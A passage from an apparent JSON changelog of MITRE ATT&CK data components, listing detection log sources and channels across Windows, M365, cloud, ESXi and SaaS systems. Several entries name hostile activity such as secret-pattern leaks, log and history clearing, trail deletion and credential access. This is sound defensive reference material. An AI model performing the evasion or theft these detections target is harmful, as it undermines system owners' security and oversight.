link|EXC_BAD_ACCESS|abort|LSQuarantine" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "name": "m365:unified", + "channel": "Set-PartnerOfRecord / CompanyAdministrator role assignments / New-DelegatedAdminRelationship" + }, + { + "name": "AWS:CloudTrail", + "channel": "CreateUser|AttachRolePolicy|CreateAccessKey|UpdateAssumeRolePolicy|CreateLoginProfile" + }, + { + "name": "azure:activity", + "channel": "Add role assignment / ElevateAccess / Create service principal" + }, + { + "name": "saas:googleworkspace", + "channel": "OAuth2 authorization grants / Admin role assignments" + }, + { + "name": "m365:unified", + "channel": "Add-DelegatedAdmin, Set-PartnerOfRecord, Add-MailboxPermission, Set-OrganizationRelationship" + }, + { + "name": "linux:syslog", + "channel": "Authentication attempts into finance-related servers from unusual IPs or times" + }, + { + "name": "macos:unifiedlog", + "channel": "Anomalous keychain access attempts targeting payment credentials" + }, + { + "name": "saas:finance", + "channel": "Transaction/Transfer: Unusual or large transactions initiated outside business hours or by unusual accounts" + }, + { + "name": "saas:audit", + "channel": "Rule/ConfigChange: Auto-forward rules, delegate assignments, or changes to financial approval workflows" + }, + { + "name": "m365:unified", + "channel": "MailSend: Outlook messages with suspicious subject/body terms (e.g., urgent payment, wire transfer) targeting finance teams" + }, + { + "name": "m365:unified", + "channel": "FileAccessed, FileDownloaded, SearchQueried" + }, + { + "name": "m365:unified", + "channel": "Detection of hidden macro streams or SetHiddenAttribute actions" + }, + { + "name": "m365:unified", + "channel": "RunMacro" + }, + { + "name": "azure:audit", + "channel": "App registrations or consent grants by abnormal users or at unusual times" + }, + { + "name": "azure:signinlogs", + "channel": "Resource access initiated using application credentials, not user accounts" + }, + { + "name": "saas:slack", + "channel": "OAuth token use by unknown app client_id accessing private channels or files" + }, + { + "name": "esxi:esxupdate", + "channel": "/var/log/esxupdate.log contains VIB installed with `--force` or `--no-sig-check` and non-standard acceptance levels" + }, + { + "name": "linux:syslog", + "channel": "sshd sessions with unusual port forwarding parameters" + }, + { + "name": "saas:audit", + "channel": "Application added or consent granted: Integration persisting after original user disabled" + }, + { + "name": "linux:syslog", + "channel": "Non-standard processes negotiating SSL/TLS key exchanges" + }, + { + "name": "esxi:vpxd", + "channel": "ESXi process initiating asymmetric handshake with external host" + }, + { + "name": "WinEventLog:Application", + "channel": "Unusual DLL/plugin registration for IIS/SQL/Apache or unexpected error logs" + }, + { + "name": "linux:syslog", + "channel": "Module registration or stacktrace logs indicating segmentation faults or unknown module errors" + }, + { + "name": "esxi:hostd", + "channel": "New extension/module install with unknown vendor ID" + }, + { + "name": "m365:unified", + "channel": "FileUploaded or FileCopied events" + }, + { + "name": "saas:salesforce", + "channel": "DataExport, RestAPI, Login, ReportExport" + }, + { + "name": "saas:hubspot", + "channel": "contact_viewed, contact_exported, login" + }, + { + "name": "saas:slack", + "channel": "conversations.history, files.list, users.info, audit_logs" + }, + { + "name": "m365:unified", + "channel": "TeamsMessageAccess, TeamsExport, ExternalAppAccess" + }, + { + "name": "m365:unified", + "channel": "TeamsMessagesAccessedViaEDiscovery, TeamsGraphMessageExport" + }, + { + "name": "m365:unified", + "channel": "FileAccessed" + }, + { + "name": "m365:messagetrace", + "channel": "X-MS-Exchange-Organization-AutoForwarded" + }, + { + "name": "linux:syslog", + "channel": "Segfaults, kernel oops, or crashes in security software processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Abnormal terminations of com.apple.security.* or 3rd-party security daemons" + }, + { + "name": "AWS:CloudTrail", + "channel": "StopLogging, DeleteTrail, UpdateTrail: API calls that disable or modify logging services" + }, + { + "name": "m365:unified", + "channel": "ApplicationModified, ConsentGranted: Unexpected app consent or modification events linked to security evasion" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0038\", \"external_id\": \"DC0038\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Application Log\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Outlook errors loading or processing custom form templates\"}, {\"name\": \"m365:unified\", \"channel\": \"Unusual form activity within Outlook client, including load of non-default forms\"}, {\"name\": \"saas:okta\", \"channel\": \"Conditional Access policy rule modified or MFA requirement disabled\"}, {\"name\": \"ApplicationLog:EntraIDPortal\", \"channel\": \"DeviceRegistration events\"}, {\"name\": \"ApplicationLog:Intune/MDM Logs\", \"channel\": \"Enrollment events (e.g., MDMDeviceRegistration)\"}, {\"name\": \"m365:purview\", \"channel\": \"MailItemsAccessed & Exchange Audit\"}, {\"name\": \"m365:purview\", \"channel\": \"MailItemsAccessed, Search-Mailbox events\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Office Add-in load errors, abnormal loading context, or unsigned add-in warnings\"}, {\"name\": \"m365:unified\", \"channel\": \"SendOnBehalf, MessageSend, ClickThrough, MailItemsAccessed\"}, {\"name\": \"Application:Mail\", \"channel\": \"smtpd$.*$: .*from=[.*@internaldomain.com](mailto:.*@internaldomain.com) to=[.*@internaldomain.com](mailto:.*@internaldomain.com)\"}, {\"name\": \"saas:slack\", \"channel\": \"file_upload, message_send, message_click\"}, {\"name\": \"saas:teams\", \"channel\": \"ChatMessageSent, ChatMessageEdited, LinkClick\"}, {\"name\": \"saas:gmail\", \"channel\": \"SendEmail, OpenAttachment, ClickLink\"}, {\"name\": \"m365:unified\", \"channel\": \"SendOnBehalf, MessageSend, AttachmentPreviewed\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"Changes to applicationhost.config or DLLs loaded by w3wp.exe\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=6416\"}, {\"name\": \"WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational\", \"channel\": \"Device started/installed (UMDF) GUIDs\"}, {\"name\": \"linux:syslog\", \"channel\": \"usb * new|thunderbolt|pci .* added|block.*: new .* device\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Device attached|enumerated VID/PID\"}, {\"name\": \"m365:unified\", \"channel\": \"Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types\"}, {\"name\": \"Application:Mail\", \"channel\": \"Inbound messages with anomalous headers, spoofed SPF/DKIM failures\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Inbound email activity with suspicious domains or mismatched sender information\"}, {\"name\": \"m365:unified\", \"channel\": \"FileAccessed: Access of email attachments by Office applications\"}, {\"name\": \"saas:collaboration\", \"channel\": \"MessagePosted: Suspicious links or attachment delivery via collaboration tools (Slack, Teams, Zoom)\"}, {\"name\": \"ApplicationLog:IIS\", \"channel\": \"IIS W3C logs in C:\\\\inetpub\\\\logs\\\\LogFiles\\\\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns)\"}, {\"name\": \"ApplicationLog:WebServer\", \"channel\": \"/var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"App/web server logs ingested via unified logging or filebeat (nginx/apache/node).\"}, {\"name\": \"ApplicationLog:Ingress\", \"channel\": \"Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes\"}, {\"name\": \"esxi:hostd\", \"channel\": \"/var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"vmkernel / OpenSLP logs for malformed requests\"}, {\"name\": \"networkdevice:controlplane\", \"channel\": \"Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Outlook rule execution failure or abnormal rule execution context\"}, {\"name\": \"m365:unified\", \"channel\": \"Creation or modification of inbox rule outside of normal user behavior\"}, {\"name\": \"m365:unified\", \"channel\": \"Send/Receive: Inbound emails containing embedded or shortened URLs\"}, {\"name\": \"Application:Mail\", \"channel\": \"Inbound emails containing hyperlinks from suspicious sources\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Received messages with embedded or shortened URLs\"}, {\"name\": \"azure:signinLogs\", \"channel\": \"ConsentGrant: Suspicious consent grants to non-approved or unknown applications\"}, {\"name\": \"m365:unified\", \"channel\": \"AppRegistration: Unexpected application registration or OAuth authorization\"}, {\"name\": \"m365:unified\", \"channel\": \"MessageSend, MessageRead, or FileAttached events containing credential-like patterns\"}, {\"name\": \"m365:exchange\", \"channel\": \"Emails containing cleartext secrets (password=, api_key=, token=) shared across internal/external domains\"}, {\"name\": \"saas:slack\", \"channel\": \"chat.postMessage, files.upload, or discovery API calls involving token/credential regex\"}, {\"name\": \"linux:syslog\", \"channel\": \"Inbound messages from webmail services containing attachments or URLs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Received messages containing embedded links or attachments from non-enterprise services\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=7031,7034,1000,1001\"}, {\"name\": \"linux:syslog\", \"channel\": \"kernel|systemd messages indicating 'segmentation fault'|'core dumped'|'service terminated unexpectedly' for sshd, smbd, vsftpd, mysqld, httpd, etc.\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Keywords: 'Backtrace','Signal 11','PANIC','hostd restarted','assert' or 'Service terminated unexpectedly' in /var/log/hostd.log, /var/log/vmkernel.log, /var/log/syslog.log.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process 'crashed'|'EXC_BAD_ACCESS' for sshd, screensharingd, httpd; launchd restarts of these daemons.\"}, {\"name\": \"esxi:hostd\", \"channel\": \"unexpected script/command invocations via hostd\"}, {\"name\": \"linux:syslog\", \"channel\": \"System daemons initiating encrypted sessions with unexpected destinations\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"Symmetric crypto routines triggered for external session\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"SendEmail\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"InvokeModel\"}, {\"name\": \"saas:openai\", \"channel\": \"High volume of requests to /v1/chat/completions or /v1/images/generations\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-Mailbox, Add-InboxRule, RegisterWebhook\"}, {\"name\": \"saas:application\", \"channel\": \"High-frequency invocation of SMS-related API endpoints from publicly accessible OTP or verification forms (e.g., Twilio: SendMessage, Cognito: AdminCreateUser) with irregular destination patterns.\"}, {\"name\": \"NSM:Connections\", \"channel\": \"PushNotificationSent\"}, {\"name\": \"saas:okta\", \"channel\": \"MFAChallengeIssued\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Exchange Transport Service loads unusual .NET assembly or errors upon transport agent execution\"}, {\"name\": \"linux:syslog\", \"channel\": \"milter configuration updated, transport rule initialized, unexpected script execution\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Unexpected spikes in request volume, application-level errors, or thread pool exhaustion in web or API logs\"}, {\"name\": \"linux:syslog\", \"channel\": \"Repetitive HTTP 408, 500, or 503 errors logged within short timeframe\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"opendirectoryd crashes or abnormal authentication errors\"}, {\"name\": \"m365:unified\", \"channel\": \"ConsentGranted: Abuse of application integrations to mint tokens bypassing MFA\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Browser or plugin/application logs showing script errors, plugin enumerations, or unusual extension load events\"}, {\"name\": \"linux:syslog\", \"channel\": \"Application or browser logs (webview errors, plugin enumerations) indicating suspicious script evaluation or plugin loads\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Logs from unifiedlogging that show browser crashes, plugin enumerations, extension installs or errors around the same time as suspicious network fetches\"}, {\"name\": \"m365:unified\", \"channel\": \"Application Consent grants, new OAuth client registrations, or unusual admin-level activities executed by a user account shortly after suspected drive-by compromise\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Outlook logs indicating failure to load or render HTML page in Home Page view\"}, {\"name\": \"m365:unified\", \"channel\": \"Folder configuration updated with external or HTML-formatted Home Page via Set-MailboxFolder\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=1102\"}, {\"name\": \"linux:cli\", \"channel\": \"cleared or truncated .bash_history\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream cleared or truncated\"}, {\"name\": \"m365:unified\", \"channel\": \"PurgeAuditLogs, Remove-MailboxAuditLog\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=104\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"EventCode=1000-1026\"}, {\"name\": \"EDR:detection\", \"channel\": \"ThreatDetected, QuarantineLog\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"quarantine or AV-related subsystem\"}, {\"name\": \"EDR:detection\", \"channel\": \"ThreatLog\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Modify Conditional Access Policy\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-CsOnlineUser or UpdateAuthPolicy\"}, {\"name\": \"m365:unified\", \"channel\": \"New-InboxRule or Set-InboxRule events recorded in Exchange Online\"}, {\"name\": \"ApplicationLog:MailServer\", \"channel\": \"Unexpected additions of sieve rules or filtering directives\"}, {\"name\": \"m365:unified\", \"channel\": \"Transport rule or inbox rule creation events\"}, {\"name\": \"ApplicationLog:Outlook\", \"channel\": \"Outlook client-level rule creation actions not consistent with normal user activity\"}, {\"name\": \"kubernetes:orchestrator\", \"channel\": \"Access to orchestrator logs containing credentials (Docker/Kubernetes logs)\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Service crash, unhandled exception, or application hang warnings for critical services (e.g., IIS, DNS, SQL Server)\"}, {\"name\": \"journald:systemd\", \"channel\": \"Repeated service restart attempts or unit failures\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Repeated process crashes logged by CrashReporter or system instability logs in com.apple.console\"}, {\"name\": \"docker:events\", \"channel\": \"Container exited with non-zero code repeatedly in short period\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"SCCM, Intune logs\"}, {\"name\": \"macos:jamf\", \"channel\": \"RemoteCommandExecution\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"config push events\"}, {\"name\": \"linux:syslog\", \"channel\": \"processes binding to non-standard ports or sshd configured on unexpected port\"}, {\"name\": \"m365:unified\", \"channel\": \"GAL Lookup or Address Book download\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Guest Operations API invocation: StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, InitiateFileTransferFromGuest\"}, {\"name\": \"m365:unified\", \"channel\": \"Send/Receive: Inbound emails with attachments from suspicious or spoofed senders\"}, {\"name\": \"Application:Mail\", \"channel\": \"Inbound email attachments logged from MTAs with suspicious metadata\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Inbound messages with attachments from suspicious domains\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Unexpected web application errors or CMS logs showing modification to index.html, default.aspx, or other public-facing files\"}, {\"name\": \"m365:unified\", \"channel\": \"certificate added or modified in application credentials\"}, {\"name\": \"saas:Snowflake\", \"channel\": \"QUERY: Large or repeated SELECT * queries to sensitive tables\"}, {\"name\": \"saas:Airtable\", \"channel\": \"EXPORT: User-triggered data export via GUI or API\"}, {\"name\": \"ApplicationLog:CallRecords\", \"channel\": \"Outbound or inbound calls to high-risk or blocklisted numbers\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"SIP REGISTER, INVITE, or unusual call destination metadata\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Outgoing or incoming calls with non-standard caller IDs or unusual metadata\"}, {\"name\": \"m365:unified\", \"channel\": \"Unusual MFA requests or OAuth consent events temporally aligned with user-reported vishing call\"}, {\"name\": \"docker:daemon\", \"channel\": \"container_create,container_start\"}, {\"name\": \"saas:github\", \"channel\": \"Bulk access to multiple files or large volume of repo requests within short time window\"}, {\"name\": \"m365:exchange\", \"channel\": \"Transport Rule Modification\"}, {\"name\": \"m365:exchange\", \"channel\": \"Admin Audit Logs, Transport Rules\"}, {\"name\": \"saas:application\", \"channel\": \"High-volume API calls or traffic via messaging or webhook service\"}, {\"name\": \"m365:unified\", \"channel\": \"Set federation settings on domain|Set domain authentication|Add federated identity provider\"}, {\"name\": \"linux:syslog\", \"channel\": \"system daemons initiating TLS sessions outside expected services\"}, {\"name\": \"m365:unified\", \"channel\": \"SendOnBehalf/SendAs: Emails sent where the sending identity mismatches account ownership\"}, {\"name\": \"Application:Mail\", \"channel\": \"Mismatch between authenticated username and From header in email\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Mail.app or third-party clients sending messages with mismatched From headers\"}, {\"name\": \"gcp:workspaceaudit\", \"channel\": \"SendAs: Outbound messages with alias identities that differ from primary account\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-MailboxAutoReplyConfiguration: Unexpected rule changes creating impersonated replies\"}, {\"name\": \"m365:unified\", \"channel\": \"SendOnBehalf/SendAs: Office Suite initiated messages using impersonated identities\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"EventCode=1000\"}, {\"name\": \"linux:syslog\", \"channel\": \"browser/office crash, segfault, abnormal termination\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process crash, abort, code signing violations\"}, {\"name\": \"saas:okta\", \"channel\": \"WebUI access to administrator dashboard\"}, {\"name\": \"m365:unified\", \"channel\": \"Read-only configuration review from GUI\"}, {\"name\": \"saas:box\", \"channel\": \"User navigated to admin interface\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Register PTA Agent or Modify AD FS trust\"}, {\"name\": \"m365:unified\", \"channel\": \"Modify Federation Settings or Update Authentication Policy\"}, {\"name\": \"saas:okta\", \"channel\": \"Federation configuration update or signing certificate change\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Configuration profile modified or new profile installed\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"EventCode=1000, 1001, 1002\"}, {\"name\": \"journald:Application\", \"channel\": \"Segfault or crash log entry associated with specific application binary\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Crash log entries for a process receiving malformed input or known exploit patterns\"}, {\"name\": \"AWS:CloudWatch\", \"channel\": \"Repeated crash pattern within container or instance logs\"}, {\"name\": \"esxi:hostd\", \"channel\": \"unexpected script invocations producing long encoded strings\"}, {\"name\": \"docker:runtime\", \"channel\": \"execution of cloud CLI tool (e.g., aws, az) inside container\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"VPN, Citrix, or remote access gateway logs showing external IP addresses\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Failed password or accepted password for SSH users\"}, {\"name\": \"ApplicationLog:API\", \"channel\": \"Docker/Kubernetes API access from external sources\"}, {\"name\": \"m365:unified\", \"channel\": \"Send/Receive: Unusual spikes in inbound messages to a single recipient\"}, {\"name\": \"Application:Mail\", \"channel\": \"High-frequency inbound mail activity to a specific recipient address\"}, {\"name\": \"m365:exchange\", \"channel\": \"MailDelivery: High-frequency delivery of messages or attachments to a single recipient\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Repetitive inbound email delivery activity logged within a short time window\"}, {\"name\": \"saas:confluence\", \"channel\": \"access.content\"}, {\"name\": \"m365:unified\", \"channel\": \"PowerShell: Add-MailboxPermission\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"InvokeFunction: Unexpected or repeated invocation of functions not tied to known workflows\"}, {\"name\": \"m365:exchange\", \"channel\": \"New-InboxRule: Automation that triggers abnormal forwarding or external link generation\"}, {\"name\": \"saas:googledrive\", \"channel\": \"FileOpen / FileAccess: Event-driven script triggering on user file actions\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Failed authentication requests redirected to non-standard portals\"}, {\"name\": \"saas:okta\", \"channel\": \"System API Call: user.read, group.read\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Host daemon command log entries related to vib enumeration\"}, {\"name\": \"m365:unified\", \"channel\": \"Add-MailboxPermission or Set-ManagementRoleAssignment\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Outlook rule creation, form load, or homepage redirection\"}, {\"name\": \"m365:mailboxaudit\", \"channel\": \"Outlook rule creation or custom form deployment\"}, {\"name\": \"saas:zoom\", \"channel\": \"unusual web session tokens and automation patterns during login\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"High-frequency errors or hangs from resource-intensive application components (e.g., .NET, IIS, Office Suite)\"}, {\"name\": \"linux:syslog\", \"channel\": \"Error/warning logs from services indicating load spike or worker exhaustion\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Application errors or resource contention from excessive frontend or script invocation\"}, {\"name\": \"AWS:CloudWatch\", \"channel\": \"Elevated 5xx response rates in application logs or gateway layer\"}, {\"name\": \"m365:messagetrace\", \"channel\": \"AuthenticationDetails=fail OR SPF=fail OR DKIM=fail OR DMARC=fail\"}, {\"name\": \"linux:syslog\", \"channel\": \"SPF fail OR DKIM fail OR DMARC fail OR mismatched from_domain vs return_path_domain\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"SPF fail OR DKIM fail OR DMARC fail OR mismatched header vs envelope domains\"}, {\"name\": \"saas:email\", \"channel\": \"AuthenticationFailures (SPF/DKIM/DMARC) OR Domain Mismatch\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=1341,1342,1020,1063\"}, {\"name\": \"linux:syslog\", \"channel\": \"suspicious DHCP lease assignment with unexpected DNS or gateway\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"new DHCP configuration with anomalous DNS or router values\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Exchange logs or header artifacts\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Mail or AppleScript subsystem\"}, {\"name\": \"m365:exchange\", \"channel\": \"MessageTrace logs\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"EventCode=1000,1001\"}, {\"name\": \"linux:syslog\", \"channel\": \"opened document|clicked link|segfault|abnormal termination|sandbox\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"opened document|clicked link|EXC_BAD_ACCESS|abort|LSQuarantine\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4663\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-PartnerOfRecord / CompanyAdministrator role assignments / New-DelegatedAdminRelationship\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateUser|AttachRolePolicy|CreateAccessKey|UpdateAssumeRolePolicy|CreateLoginProfile\"}, {\"name\": \"azure:activity\", \"channel\": \"Add role assignment / ElevateAccess / Create service principal\"}, {\"name\": \"saas:googleworkspace\", \"channel\": \"OAuth2 authorization grants / Admin role assignments\"}, {\"name\": \"m365:unified\", \"channel\": \"Add-DelegatedAdmin, Set-PartnerOfRecord, Add-MailboxPermission, Set-OrganizationRelationship\"}, {\"name\": \"linux:syslog\", \"channel\": \"Authentication attempts into finance-related servers from unusual IPs or times\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Anomalous keychain access attempts targeting payment credentials\"}, {\"name\": \"saas:finance\", \"channel\": \"Transaction/Transfer: Unusual or large transactions initiated outside business hours or by unusual accounts\"}, {\"name\": \"saas:audit\", \"channel\": \"Rule/ConfigChange: Auto-forward rules, delegate assignments, or changes to financial approval workflows\"}, {\"name\": \"m365:unified\", \"channel\": \"MailSend: Outlook messages with suspicious subject/body terms (e.g., urgent payment, wire transfer) targeting finance teams\"}, {\"name\": \"m365:unified\", \"channel\": \"FileAccessed, FileDownloaded, SearchQueried\"}, {\"name\": \"m365:unified\", \"channel\": \"Detection of hidden macro streams or SetHiddenAttribute actions\"}, {\"name\": \"m365:unified\", \"channel\": \"RunMacro\"}, {\"name\": \"azure:audit\", \"channel\": \"App registrations or consent grants by abnormal users or at unusual times\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Resource access initiated using application credentials, not user accounts\"}, {\"name\": \"saas:slack\", \"channel\": \"OAuth token use by unknown app client_id accessing private channels or files\"}, {\"name\": \"esxi:esxupdate\", \"channel\": \"/var/log/esxupdate.log contains VIB installed with `--force` or `--no-sig-check` and non-standard acceptance levels\"}, {\"name\": \"linux:syslog\", \"channel\": \"sshd sessions with unusual port forwarding parameters\"}, {\"name\": \"saas:audit\", \"channel\": \"Application added or consent granted: Integration persisting after original user disabled\"}, {\"name\": \"linux:syslog\", \"channel\": \"Non-standard processes negotiating SSL/TLS key exchanges\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"ESXi process initiating asymmetric handshake with external host\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Unusual DLL/plugin registration for IIS/SQL/Apache or unexpected error logs\"}, {\"name\": \"linux:syslog\", \"channel\": \"Module registration or stacktrace logs indicating segmentation faults or unknown module errors\"}, {\"name\": \"esxi:hostd\", \"channel\": \"New extension/module install with unknown vendor ID\"}, {\"name\": \"m365:unified\", \"channel\": \"FileUploaded or FileCopied events\"}, {\"name\": \"saas:salesforce\", \"channel\": \"DataExport, RestAPI, Login, ReportExport\"}, {\"name\": \"saas:hubspot\", \"channel\": \"contact_viewed, contact_exported, login\"}, {\"name\": \"saas:slack\", \"channel\": \"conversations.history, files.list, users.info, audit_logs\"}, {\"name\": \"m365:unified\", \"channel\": \"TeamsMessageAccess, TeamsExport, ExternalAppAccess\"}, {\"name\": \"m365:unified\", \"channel\": \"TeamsMessagesAccessedViaEDiscovery, TeamsGraphMessageExport\"}, {\"name\": \"m365:unified\", \"channel\": \"FileAccessed\"}, {\"name\": \"m365:messagetrace\", \"channel\": \"X-MS-Exchange-Organization-AutoForwarded\"}, {\"name\": \"linux:syslog\", \"channel\": \"Segfaults, kernel oops, or crashes in security software processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Abnormal terminations of com.apple.security.* or 3rd-party security daemons\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"StopLogging, DeleteTrail, UpdateTrail: API calls that disable or modify logging services\"}, {\"name\": \"m365:unified\", \"channel\": \"ApplicationModified, ConsentGranted: Unexpected app consent or modification events linked to security evasion\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.580000+00:00\", \"old_value\": \"2025-04-18 15:09:35.474000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--b05a614b-033c-4578-b4f2-c63a9feee706", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-09-23 16:34:00.912000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0110", + "external_id": "DC0110" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Asset Inventory", + "description": "This includes sources of current and expected devices on the network, including the manufacturer, model, and necessary identifiers (e.g., IP and hardware addresses)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Asset", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0110\", \"external_id\": \"DC0110\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Asset\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--b1717cb4-d536-4e2b-b5e5-07e67e26183c\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:11:50.339000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:34.849000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0064", + "external_id": "DC0064" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Command Execution", + "description": "Command Execution involves monitoring and capturing the execution of textual commands (including shell commands, cmdlets, and scripts) within an operating system or application. These commands may include arguments or parameters and are typically executed through interpreters such as `cmd.exe`, `bash`, `zsh`, `PowerShell`, or programmatic execution. Examples: \n\n- Windows Command Prompt\n - dir \u2013 Lists directory contents.\n - net user \u2013 Queries or manipulates user accounts.\n - tasklist \u2013 Lists running processes.\n- PowerShell\n - Get-Process \u2013 Retrieves processes running on a system.\n - Set-ExecutionPolicy \u2013 Changes PowerShell script execution policies.\n - Invoke-WebRequest \u2013 Downloads remote resources.\n- Linux 